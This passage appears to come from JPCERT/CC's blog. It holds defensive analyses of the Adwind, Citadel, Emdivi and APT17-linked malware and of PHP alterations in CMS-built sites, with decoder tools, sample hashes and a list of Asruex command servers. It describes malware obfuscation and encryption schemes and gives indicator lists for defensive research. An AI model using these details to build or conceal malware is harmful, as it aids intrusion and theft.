  • dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
  • d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
  • caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  • 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
  • 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
  • 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
  • a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
  • 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
  • 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
  • a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  • 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  • 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  • 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
  • df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
  • eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
  • e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
  • 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  • 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5

Asruex:

  • 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  • a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
  • 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
  • 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
  • 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
  • 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
  • d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
  • fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
  • eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
  • 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c

AdvProv.dll

  • f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc

Others

  • 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  • e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  • 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D: Hosts that Asruex connects to
  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com

 

May 25, 2016

Decoding Obfuscated Strings in Adwind

From the latter half of 2015 to 2016, there have been an increasing number of cyber attacks worldwide using Adwind, a Remote Access Tool [1]. JPCERT/CC also received incident reports about emails with this malware in its attachment.

Adwind is malware written in Java language, and it operates in Windows and other OS as well. It has a variety of functions: to download and execute arbitrary files, send infected machine information to C&C servers and extend functions using plug-ins.

One of the characteristics of Adwind is its frequent updates. In an extreme case, an update was released merely in a two-week interval. When investigating Adwind-related incidents, it is important to correctly examine the functions of the Adwind version in use.

The challenge is, however, the strings stored within Adwind, which count up to about 500, are artfully obfuscated, and they need to be decoded in order to analyse the malware’s function. JPCERT/CC created a tool “adwind_string_decoder.py”, which efficiently decodes such obfuscated strings. This blog article describes how this tool works.

Although Adwind has multiple generations [1], this blog article and the tool created will examine the new Adwind versions which have been used in recent attacks since the latter half of 2015.

Obfuscated strings

Most of the strings that Adwind has are obfuscated as in Figure 1. The number of such strings differs depending on the Adwind’s version, but there are about 500. These strings look totally different in each Adwind version.

Figure 1: Decompiled codes containing obfuscated strings
1_obfuscated
Figure 2: Decompiled codes in another Adwind version
2_obfuscated_old

Figure 1 and Figure 2 describe codes which correspond to the same process. Both figures have line feeds inserted and are indented so that the decompiled codes can be read easier. Figure 2 is the Adwind version which was seen in mid-August 2015 and Figure 1 in late November 2015. As previously mentioned, Adwind gets updated frequently, and furthermore, the codes are obfuscated using different keys for each version.

The red-marked sections in Figure 1 and 2 indicate part of the process for collecting information to be sent to C&C servers, and contain a process for obtaining infected usernames. However, when calling the process for collecting information, the object (which is the username) is specified in the obfuscated strings. This makes it impossible to tell from the codes that the malware intends to collect infected usernames, unless they are decoded. Furthermore, it is difficult to decode the strings since the keys used for obfuscation are scattered and different for each Adwind version (as described later).

In incident analysis, damage caused by the infection and the next attack sequence can sometimes be predicted by specifying the information sent to C&C servers. From the analysis perspectives, it is important to closely examine what kind of information the malware is targeting. For this purpose, static code analysis has to be effectively conducted, and about 500 obfuscated strings for various Adwind versions need to be quickly decoded.

Analysing the string-decoding process

Generally in stream cipher, in order to encrypt data m (with a random length), usually a pseudo-random number sequence k (with the same length as m) is created using its encryption key, and an encrypted string is generated by m XOR k. By combining the XOR for m XOR k and the pseudo-random number sequence k (which is described as (m XOR k) XOR k) using XOR operation, the string is decrypted to derive the plaintext m.

Obfuscation in Adwind is conducted in a method which is similar to the abovementioned stream cypher. However, Adwind creates k in a different method, not from an encryption key. In this article, k for Adwind is referred to as an “obfuscating key”.

Codes in Adwind contain some functions which take an obfuscated string as an argument, and returns its decoded string. These functions are referred to as Fi hereafter. One thing to note here is that Fi returns different results even for the same input, if the caller method is different. This means that, in order to do static analysis and obtain the obfuscating key corresponding to a certain string, it is necessary to understand which Fi processes the strings, as well as in which method the string exists to call for Fi. The following describes what kind of obfuscating key Fi generates to process decoding.

Fi takes its caller’s method name and class name as the basis, and generates an obfuscating key by giving them a transform process derived from the following factors. This process is repeated until it gains a certain length required for a key.

Factor 1: Which comes first when concatenating the method name and class name

Factor 2: The value used in the operation for transforming the basis string to a completely different string

All Fi consist mostly of the same codes, however, only those corresponding to the above factors have different codes in each Fi. Furthermore, Factor 2 does not exist in the code as an immediate constant, and is derived through obfuscated codes including bit-operations.

Adwind contains at least 5 varieties of Fi and about 60 methods including obfuscated strings, which means that it has a combination of about 100 obfuscating keys. Although Fi consists of relatively simple codes, this number makes it fairly difficult to remove obfuscation.

Additionally, the two factors mentioned above vary in each Adwind version. Therefore, even if we create a decoding tool for a certain version of Adwind, it cannot be applied to other versions.

On the other hand, Fi has the following characteristics in common:

- Has one argument of a string object

- Is a static function that returns a decoded string as a string object

- Contains a certain API call to obtain the caller’s information

- Has limited varieties of instructions within the function

Based on the features, JPCERT/CC created a tool to automatically decode obfuscated strings using a method which does not rely on the Adwind version as much as possible.

adwind_string_decoder.py

This tool is available on GitHub. Feel free to download for your use.

JPCERTCC/aa-tools - adwind_string_decoder.py

https://github.com/JPCERTCC/aa-tools

In order to use adwind_string_decoder.py, a disassembler, javap, is required which is included in JDK (Java Development Kit). Users are required to set a path to javap, or configure so that the environment variable JAVA_HOME is pointed to the JDK folder.

adwind_string_decoder.py basically processes in the following sequence:

  1. Open the selected jar file and call a disassembler
  2. Scan all the disassembled codes, and extract functions which seem to be decoding functions from the arguments and types
  3. Judge if it really is a decoding process from the kinds of instructions and sequences that appear in the function
  4. If it is a decoding process, derive Factor 1 and 2 to generate obfuscating keys
  5. Scan all the codes again and extract parts which call for the decoding process
  6. Derive each method name and class name, and use them as the basis for obfuscating keys
  7. Generate obfuscating keys and decode the strings

Before using adwind_string_decoder.py – Unpacking Adwind

Typically, Adwind is packed, and its main jar file is hidden in the artifact’s jar file. Since adwind_string_decoder.py does not have the function to unpack Adwind, users are required to run Adwind in an analysis environment beforehand, and extract the jar image that appears in its memory. The jar image tends to disappear easily from the memory, however, it could be easier to extract it if you set a breakpoint in the API which reads the jar file, by using a Java debugger (e.g. jdb).

Executing adwind_string_decoder.py

To decode obfuscated strings, select the unpacked jar file and output file, and execute as follows:

python adwind_string_decoder.py sample.jar output.jasm

Then it outputs disassembled codes which contain decoded strings as comments, as in Figure 3.

Figure 3: Disassembled codes with some decoded strings inserted
3_decoded_disassembly

Also, if you execute without any output files, the output of the disassembled codes will be omitted, and you can output decoded strings only to the standard output, as in Figure 4.

python adwind_string_decoder.py sample.jar
Figure 4: Output of decoded strings only
4_decoded_strings

It is also possible to scan the java codes (outputs of the decompiler), and replace the function call and argument with the decoded string. This option only supports codes in Fully Qualified Name (FQN) format. For example, you can obtain the output in Figure 6 from codes as in Figure 5. Since adwind_string_decoder.py does not have a decompiling function, you need to output a file with the decompiler and store it in a folder beforehand. After selecting that folder and a new folder for outputting the decoded file, execute as follows:

python adwind_string_decoder.py sample.jar source_folder output_folder
Figure 5: Decompiled codes before decoding
5_obfuscated_code
Figure 6: Decompiled codes after decoding
6_decoded_code

Using these decoded strings, it is easy to understand what kind of information the malware intends to collect and send to C&C servers. It is also possible to find out which OS can be infected by the malware, and how the Adwind functions may differ in each OS.

Summary

Since early February 2016, attacks using these new Adwind versions have been less and less seen. This may be good news, however, it seems that there are still new samples found at the end of February 2016. We hope that the tool we introduced here would be of your help in case if you see any new versions of Adwind.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


Reference:

[1] Adwind: FAQ - Securelist

https://securelist.com/blog/research/73660/adwind-faq/

Appendix

SHA-256 Hash value of the sample

  • 033db051fc98b61dab4a290a5d802abe72930338c4a0dd4705c74eacd84578d3
  • f8f99b405c932adb0f8eb147233bfef1cf3547988be4d27efd1d6b05a8817d46

 

Apr 08, 2016

PHP Files in CMS, Targeted for Alteration

JPCERT/CC has been continuously observing cases where websites in Japan created with Content Management Systems (hereafter “CMS”) are defaced in a similar way, and the same kind of cases are also observed overseas [1], [2]. In these cases, part of the PHP files composing the CMS are altered, and this results in defacement of the website contents [3].

Based on the analysis of several cases, this entry today describes the alteration of such files composing CMS.

Altered Files

JPCERT/CC confirmed that the targeted CMS contained partially altered PHP files as components. The CMS names and altered PHP files in each are listed in Table 1.

Table 1: CMS names and altered PHP files
CMS NameAltered PHP Files
WordPress /wp-includes/nav-menu.php
/wp-admin/includes/nav-menu.php
Joomla! /includes/defines.php
/administrator/includes/defines.php
Drupal /includes/bootstrap.inc
MODX /manager/includes/protect.inc.php

Our study revealed that malicious codes were dynamically inserted into the response from the website for each access by the visitor, which was a result of the PHP file alteration.

How Altered PHP Files Insert Malicious Codes

Altered PHP files included malicious PHP codes in between “//istart” and “//iend” as in Figure 1 (we noted that malicious codes are obfuscated in some cases).

These malicious PHP codes have a function to insert codes obtained from outside. They receive malicious codes from a specific URL and insert them in a certain place.

Figure 1: Malicious PHP codes in between “//istart” and “//iend”
Pic1

Malicious Codes to be Inserted

When a visitor accesses such websites, the malicious PHP codes in the altered PHP files obtain malicious codes composed of “div” tag and JavaScript, and insert them in the response to the website visitor. The places to insert the codes differ in each CMS: right after the “body” tag in WordPress, and at the beginning of the HTML in Joomla!, Drupal and MODX.

Figure 2: Example of malicious codes to be inserted
Pic2

Malicious codes include obfuscated JavaScript, and if this is executed on the visitor’s browser, they generate tags such as iframe, etc., which redirect the visitor to the attacker’s site. Also, if the visitor’s web browser or its plug-in, etc., has certain vulnerability, their PC may be exposed to the risk of being infected with malware such as ransomware.

Summary

In such cases where malicious codes are dynamically inserted, it may be difficult for website administrators to realise that their websites are providing malicious contents. We recommend the administrators to confirm that there are no malicious PHP codes (as in Figure 1) in the PHP files described in Table 1 and others in their websites. We have not yet confirmed how these PHP files are altered, but vulnerabilities in the CMS or the plug-ins used by CMS may be leveraged for the alteration. We also recommend updating the CMS and plug-ins to the latest version.

Other than the instances introduced here, JPCERT/CC has been seeing cases where Japanese websites are defaced, and then leveraged as an entrance to the attacker’s website. We hope that each website administrator takes actions as updating the software and properly managing passwords, and be mindful that their website would not be abused for such attacks.

- Ayaka Funakoshi

(Translated by Yukako Uchida)


Reference:

[1] Sucuri Inc
WordPress Malware Causes Psuedo-Darkleech Infection
https://blog.sucuri.net/2015/03/pseudo-darkleech-server-root-infection.html

[2] DAVISEFORD.COM
DarkLeech: Finally Under Control?
http://daviseford.com/node/58

[3] JPCERT/CC
JPCERT/CC Incident Handling Report (October 1 – December 31 2015) (English)
http://www.jpcert.or.jp/english/doc/IR_Report2015Q3_en.pdf

Feb 19, 2016

Banking Trojan “Citadel” Returns

Hello again, this is You ‘Tsuru’ Nakatsuru from Analysis Center. It has been just about two years since I delivered a talk “Fight Against Citadel in Japan” at CODE BLUE 2013 (an international security conference in Tokyo) about the situation on banking trojans observed in Japan at that time and detailed analysis results on Citadel (See my blog entry here). For the presentation material and audio archive, please see Reference [1].

Since then, various kinds of efforts have been implemented against this malware. Citadel was less and less seen among incident reports to JPCERT/CC, and there had been no reports about it since the first half of 2014. However, in late November 2015, we observed an attempt to infect a host with an upgraded Citadel via Drive-by-Download attack.

In this blog article, I will discuss how this upgraded Citadel (here after tentatively named as “Citadel 101” since the version was set as 0.0.1.1) had changed from Citadel version 1.3.5.1 (hereafter “Citadel 1.3.5.1”) which I presented at CODE BLUE. I will also introduce a decryption tool for Citadel 101 created by JPCERT/CC.

Message Impersonating Brian Krebs Removed

It is widely known that Citadel 1.3.5.1 has a function which is not related to its intended behaviour: When executing with argument “-z”, the following message is displayed.

Figure 1: Dialog box displayed when executing with argument "-z"
1_krebs

This is a message impersonating Brian Krebs, a well-known security researcher of Krebs on Security. He himself actually has written an article about this (See Reference [2]). In Citadel 101, this function has been removed.

Change in Structure

There have been some slight changes in structures used within Citadel. For instance, in BinStrage (used as data format for configuration files), the size of random data at the beginning of the header had been changed from 20 bytes to 32 bytes as in Figure 2.

Figure 2: Random data (in red boxes) at the beginning of BinStrage – in Citadel 1.3.5.1 (upper) and Citadel 101 (lower)
2_binstrage

XOR Operation Added to Encryption Process

As I introduced at CODE BLUE, Citadel 1.3.5.1 encrypts files, registries and communication data, as indicated in Table 1.

Table 1: Objects that Citadel 1.3.5.1 encrypts and its methods
Encryption objectData formatEncryption method
Communication data Report Encrypted BinStrage RC4+
Dynamic Config Encrypted BinStrage AES+
Additional modules Executable files RC4+ * 2
Files Report files StrageArray AES+ using Installed Data
Module backup StrageArray AES+ using Installed Data
Registry Dynamic Config backup Encrypted BinStrage AES+ using Installed Data

Citadel 101 encrypts the same objects and uses the same encryption methods as Citadel 1.3.5.1, however, XOR operation has been added at the beginning of the encryption process and the end of the decryption process. Data retrieved through the same decryption method as Citadel 1.3.5.1 includes XOR key (key2) and encoded data (data), which are used in the XOR decoding process (shown in Figure 3).

Figure 3: XOR decoding process added to Citadel 101
3_xor

The default value of key1, which is one of the XOR keys used here, is hardcoded in Citadel itself. In the incident handling process, this value has to be newly retrieved in order to decrypt data encrypted by Citadel.

Updated Citadel Decryptor Published

Citadel Decryptor is a tool to decrypt data encrypted by Citadel, which I created and presented at CODE BLUE. This time, I expanded its feature so that it can decrypt data encrypted by Citadel 101 as well, and published it on GitHub.

JPCERTCC/aa-tools/citadel_decryptor

https://github.com/JPCERTCC/aa-tools/citadel_decryptor

Major changes are as follows:

  • Added the process to obtain encryption keys, etc., hardcoded in Citadel 101 itself
  • Added XOR decoding process at the end of decryption process

⇒In case it fails to obtain the XOR key, it judges that the version is Citadel 1.3.5.1 and does not perform XOR decoding

  • Made changes to correspond to different structures between Citadel 101 and Citadel 1.3.5.1.

There is no change in its usage. Here below is an example of using the tool to decrypt the configuration file which Citadel 101 receives from a C&C server.

> citadel_decryptor.py -v -d root.xml citadel_main.bin
[*] start to decrypt root.xml
[*] get base config & several params
[*] found base config at RVA:0x000047f0, RA:0x000047f0
[*] found login key: D8F3A28A92E53179A3EC2100B314A5CB
[*] use RC4 key at (base config + 0x000001fd)
[*] found following xor key for AES plus:
[40, 40, 84, 92, 146, 121, 93, 197, 4, 73, 90, 178, 167, 220, 62, 44]
[*] found RC4 salt: 0x5198A7FE
[*] found xor key using after Visual Decrypt: 0x5198A7FE
[*] try to unpack
[*] decrypt data using following key:
[58, 225, (snip.) 50, 247, 122, 107, 114, 177, 190, 29, 60, 230, 186, 94]
[*] try to AES+ decryption
[*] use following AES key:
[181, 55, (snip.) , 252, 170, 168, 99, 231, 208, 131, 229, 244, 121]
[*] parse decrypted data... OK
[*] decompress decrypted data
[*] wrote decrypted data to root_decrypted.bin

Way Forward

Since JPCERT/CC has only seen a small number of Citadel 101 cases so far, there has not yet been enough testing on the Citadel Decryptor. There may be some other changes that are not fully covered in this update. I would like to make improvements based on your feedbacks, including Citadel samples which cannot be decrypted with the Citadel Decryptor. Your pull request is also highly appreciated!

Thank you for reading!

- You Nakatsuru


Reference

[1] ARCHIVE || Lecture of past || CODE BLUE 2013

http://codeblue.jp/2015/en/archive/2013/#speaker-you


[2] Krebs, KrebsOnSecurity, As Malware Memes — Krebs on Security

http://krebsonsecurity.com/2013/05/krebs-krebsonsecurity-as-malware-memes/

Appendix: SHA-256 hash value

dd16014eb3fa62d483758b63b2f412017381e6d9cc03347152dff3eb9f8e6e3b

Nov 19, 2015

Decrypting Strings in Emdivi

Hello, this is You ‘Tsuru’ Nakatsuru at Analysis Center.

As introduced in the previous blog post, my colleagues presented on the attacks arising in Japan at CODE BLUE 2015, entitled “Revealing the Attack Operations Targeting Japan”.

In this entry, I will introduce the details of an IDAPython script “emdivi_string_decryptor.py”, which JPCERT/CC developed to analyse Emdivi, a remote control malware. The script was also introduced in our presentation at CODE BLUE 2015. Please utilize the script along with the codes, etc., that are already published on JPCERT/CC’s GitHub account.

JPCERTCC/aa-tools · GitHub

https://github.com/JPCERTCC/aa-tools

Encrypted Strings within Emdivi

Emdivi encrypts strings such as URLs that they connect to and stores them in itself. Depending on the sample, encrypted strings are Base64-encoded and stored as in Figure 1, or in other cases, just saved in an encrypted binary format.

Figure 1: Encrypted strings encoded with Base64
Emdivi_string

In the incident analysis phase, these encrypted strings need to be decrypted in order to identify information such as URLs that the malware connects to, etc. For this purpose, JPCERT/CC developed emdivi_string_decryptor.py.

Analysis on Emdivi’s Decryption Process

Emdivi runs the following process in order to decrypt the strings in itself.

Upon its startup, it calculates the key for decryption, based on the following string information:

  • The sample’s version strings

e.g. t17.08.26..3340.4444

  • Random long strings in the sample

e.g. jp5cQEhSR7xMEdv1JOjh5eKGsMxSCAE5M57CijC8VgN1KMbBvP9 (Omitted hereafter)

It then combines these strings with Base64 encode, MD5 hash value calculation and others to calculate the decryption key as in Figure 2. Depending on Emdivi’s version, it sometimes combines addition and other arithmetic process for this calculation.

Figure 2: Calculated decryption key
Emdivi_key

Using the decryption key calculated here, Emdivi performs decryption just before it uses the strings. Processes related to the encryption are implemented as classes. Figure 3 shows information of those classes.

Figure 3: Encryption related classes defined within Emdivi
Emdivi_xxtea

Many samples of Emdivi use XxTEA as in Figure 3, but we have confirmed that some versions use AES. Also, there are some versions that switch the encryption and decryption process, and we have seen that some use XxTEA encryption process for decryption.

After analysing various samples of Emdivi, we were able to summarise the method for the decryption key calculation and the decryption process as in Chart 1 below. For details of the decryption key generation process, please refer to the source codes of emdivi_string_decryptor.py.

Table 1: Decryption process for each Emdivi version
t17t19 and t20 mid versionst20 early and late versions
Decryption process XxTEA Decryption XxTEA Encryption AES Encryption
Method to calculate decryption key MD5(

MD5(base64(ver))

+

MD5(key_string))

scanf(

"%x%x%x%x",

Inc_Add(ver17_key)

)

Inc_Add(ver17_key)[:24]

Before Using emdivi_string_decryptor.py

Since emdivi_string_decryptor.py is an IDAPython script, it requires disassembler IDA for execution. Also, the version string used when calculating the decryption key is required for string decryption.

Before actually using the tool, you have to obtain the version string from the memory or communication data.

If you are obtaining the string from the memory, execute Emdivi in an analysis environment and then search for the string in the memory by using debugger, etc. You do not have to worry about virtual environment detection, since the version string is generated before the detection process.

If you are obtaining the version string from the communication data, you would need to decode that data. For decoding, you can use emdivi_postdata_decoder.py which is also made public together with emdivi_string_decryptor.py. Here below is what you will see when executing by giving the data you want to decode to emdivi_postdata_decoder.py’s argument.

> python emdivi_postdata_decoder.py
"r13ftV=C%5DZ%03k%07%06%7Edkgd%05%19%7Dq%05%05%1E%0D%02%0C;yhmsuRvo=%00;date=-b%27f.4%60%25%23%3A%24%2C%3A%26%22%3A%3A%27%27%20%24%3A%20%20%20%20%1Dh%1DZ%40.4%22%3A%25%3A%23%22%24%25%1DO%7Eu9%5EDI%1Dh%1DYQY.4%26%24%20%2CY%1Dh%1DSY%40%3C-%3D"
[*] 3 field(s) found in postdata
"r13ftV"        ->      "win7_32JP_SP1-IE11*968"
"yhmsuRvo"      ->      "1"
"date"  ->      "9v3r: t17.08.26..3340.4444     |       NT: 6.1.7601    [ja-JP]
|       MEM: 2048M      |       GMT(9)"

Please note that the version string included in the communication data may be different from the string required for the decryption. Therefore, we recommend obtaining the string from the memory.

Executing emdivi_string_decryptor.py

If you have obtained the version string, you are all set. Load the target Emdivi into IDA, and execute emdivi_string_decryptor.py. Then, it will process as follows:

  1. Input version string
  2. Calculate decryption key
  3. Search for encrypted string
  4. Decrypt string
  5. Output results and insert comments in the corresponding section

Upon execution of emdivi_string_decryptor.py, the following dialog box appears to input the version string.

Figure 4: Dialog box to input version string
Emdivi_input

After you input the version string, the tool will display the decrypted string in the console, and it will be inserted as a comment to where the encrypted string is stored. This is shown in Figure 5.

Figure 5: Screenshot after executing emdivi_string_decryptor.py
Emdivi_result

Now you can obtain various information including URLs that the malware connects to. Based on these and other related pieces of information, JPCERT/CC coordinates and handles incidents caused by attack operations involving Emdivi.

In Summary

We hope that the scripts that we made public will contribute in dealing with the attacks relating to Emdivi, and in improving malware analysis techniques.

A blog entry by Kaspersky (see Reference) has revealed that a few versions of Emdivi use the infected users’ SID. Unfortunately, the current version of emdivi_string_decryptor.py is not yet adapted to input SID. Furthermore, it is possible that new versions of Emdivi with other encryption methods may emerge in the future. We welcome any pull requests on GitHub.

Thanks for reading.

-You Nakatsuru


Reference

New activity of The Blue Termite APT - Securelist

https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/

Nov 09, 2015

A Volatility Plugin Created for Detecting Malware Used in Targeted Attacks

Hello again – this is Shusei Tomonaga from Analysis Center.

This blog entry is to introduce “apt17scan.py” created by JPCERT/CC to detect certain malware used in targeted attacks, and to extract its configuration information. It is a plugin for the Volatility Framework (hereinafter “Volatility”), a memory forensics tool. My colleague Yuu Nakamura and I had the honour to introduce this at CODE BLUE 2015, an international conference for information security specialists, held in Tokyo on 28-29 October 2015.

The plugin is available for download on GitHub:

JPCERTCC/aa-tools · GitHub

https://github.com/JPCERTCC/aa-tools

Characteristics of the Adversary Group Targeting Japan

JPCERT/CC has confirmed that the following types of malware are being used by a certain attacker group targeting Japanese organisations:

  • Agtid
  • Hikit
  • McRAT
  • Preshin
  • BlackCoffee
  • Derusbi

The attacker group using these types of malware is referred to as “APT17” (by FireEye) [1] or “Aurora Panda” (by CrowdStrike) etc., and a number of security vendors have been investigating them.

One of the characteristics of this adversary group is that it sometimes uses malware which only exists in the memory (not saved as file). As such, you might not be able to detect the malware just by examining the hard disk when investigating the incident. Even if you could, its configuration information may be altered by the attacker’s command.

Therefore, there is a need to examine the dumped memory image in an offline environment, in order to detect the malware which only exists in the memory, and to extract the configuration information of the malware which is running.

How To Use This Plugin

apt17scan.py has the following commands:

  • apt17scan: Detect Agtid, Hikit, McRAT, Preshin, BlackCoffee and Derusbi in memory dump
  • derusbiconfig: Detect Derusbi in memory dump and extract its configuration information
  • hikitconfig: Detect Hikit in memory dump and extract its configuration information
  • agtidconfig: Detect Agtid in memory dump and extract its configuration information

Upon its execution, save apt17scan.py in the “contrib/plugins/malware” folder in Volatility, and execute as follows:

$python vol.py [apt17scan|derusbiconfig|hikitconfig|agtidconfig] –f <memory.image>
––profile=<profile>

Figure 1 below shows a sample result of executing apt17scan. It displays process names (Name), Process IDs (PID) and malware (Malware Name) that were detected.

Figure 1: A result of executing apt17scan
Vp_fig1

Figure 2 below shows a sample result of executing derusbiconfig. In many cases, Derusbi contains proxy information of internal networks. Also, the IDs contain strings that identify target organisations.

Figure 2: A result of executing derusbiconfig
Vp_fig2

Similarly, hikitconfig and agtidconfig can display malware configuration information as well.

Way Forward

JPCERT/CC has confirmed that the adversary group uses not only the aforementioned 6 types of malware, but also other kinds of malware including PlugX. We will keep updating the plugin so that it can detect other malware as well.

We would highly appreciate your comments and feedback on the tool. Please contact aa-info@jpcert.or.jp.

Thank you.

- Shusei Tomonaga


Reference

[1] FireEye - APT17: Hiding in Plain Sight - FireEye and Microsoft Expose Obfuscation Tactic

https://www2.fireeye.com/WEB-2015RPTAPT17.html

Appendix

SHA-256 Hash Value of the samples

  • Agtid: b33ffbec01b43301edd9db42a59dcd33dd45f638733e2f92f0cb5bfe86714734
  • Hikit: 8da8dce703bc66d6ce57046151403f0972216b6b9d7b0127e8f1d5c788fea1ba
  • McRAT: cc985872fe35fbb70b99c4adc5e51b52bc8358df08b4193e7b30251f967604f4
  • Preshin: feafe1e3c9d93667e11712793f6c95fe953a1058519cfefb81f95ea2626af267
  • BlackCoffee: 20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27
  • Derusbi: 6d02c109b76267101c0d48c89b762d15b85c0eda4bbcd9f27bd76a905db202cd